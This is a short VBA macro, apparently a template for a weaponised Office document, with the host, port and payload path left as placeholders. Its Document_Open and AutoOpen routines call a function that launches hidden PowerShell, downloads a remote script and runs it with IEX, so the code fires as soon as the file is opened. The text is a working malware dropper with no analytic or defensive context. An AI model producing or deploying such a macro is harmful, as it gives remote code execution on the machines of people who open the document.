Sub Document()
Dim str As String
str = "cmd /c powershell -w hidden IEX(New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{raw_payload}');"
Shell str
End Sub
Sub Document_Open()
Document
End Sub
Sub AutoOpen()
Document
End Sub